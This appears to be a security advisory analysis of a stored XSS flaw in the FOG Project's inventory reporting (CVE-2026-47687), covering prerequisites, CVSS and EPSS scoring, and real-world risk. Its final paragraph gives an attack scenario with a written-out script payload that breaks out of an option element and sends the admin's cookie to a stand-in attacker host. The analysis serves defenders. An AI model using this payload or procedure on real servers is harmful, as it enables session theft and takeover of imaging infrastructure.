FOG Project CVE-2026-47687

The attacker must know at least one MAC address of a host registered in the target FOG server - this is the primary prerequisite, and it favors network-adjacent attackers (who can discover MACs via ARP scanning or passive observation) over purely remote attackers. The FOG client service endpoint /service/inventory.php must be reachable from the attacker's network position; organizations that firewall this endpoint to internal client subnets significantly reduce external exposure. For the payload to execute, a FOG administrator must subsequently open the Reports > Inventory page in their browser - this required human action (UI:R) limits exploitation to a persistent, lying-in-wait model rather than instant compromise. No non-default configuration is required: the inventory reporting endpoint and the Reports view are standard FOG features enabled in all default deployments. Exploitation is additionally limited to sessions where an admin is logged in at the time of page visit.

The CVSS 3.1 base score of 8.7 (High) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N reflects a network-reachable stored XSS with scope change and high confidentiality and integrity impact - consistent with full admin session compromise. A notable discrepancy exists: the official CVSS assigns PR:L (low privilege), yet the CVE description explicitly characterizes the attacker as 'unauthenticated'; the MAC address appears to serve as the basis for PR:L, functioning as a weak, network-discoverable identifier rather than a true credential. This is a meaningful distinction defenders should verify against the vendor advisory. EPSS is only 0.22% at the 12th percentile, and the vulnerability is absent from CISA KEV, indicating no confirmed active exploitation and low near-term automated exploitation probability. Despite the high CVSS, real-world risk is shaped by several factors: FOG is a niche product primarily deployed in educational and IT imaging environments rather than broadly in enterprise production; the MAC address prerequisite favors network-adjacent attackers with visibility into ARP traffic; and the admin UI trigger (UI:R) requires human action. However, stored XSS executing in an admin context - where a single successful payload can yield full system control over FOG's imaging infrastructure - meaningfully elevates the priority over typical reflected XSS findings of similar score.

An attacker on the same network segment as a FOG-managed environment performs ARP scanning or passively monitors broadcast traffic to collect MAC addresses of registered hosts. They craft an HTTP POST to the FOG server's /service/inventory.php with the discovered MAC and a sysproduct value containing a JavaScript payload such as </option><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, which the server stores in the inventory database without sanitization. When a FOG administrator subsequently navigates to Reports > Inventory, the unescaped payload breaks out of the <option> element and executes in their browser session, silently exfiltrating the admin's session token to the attacker.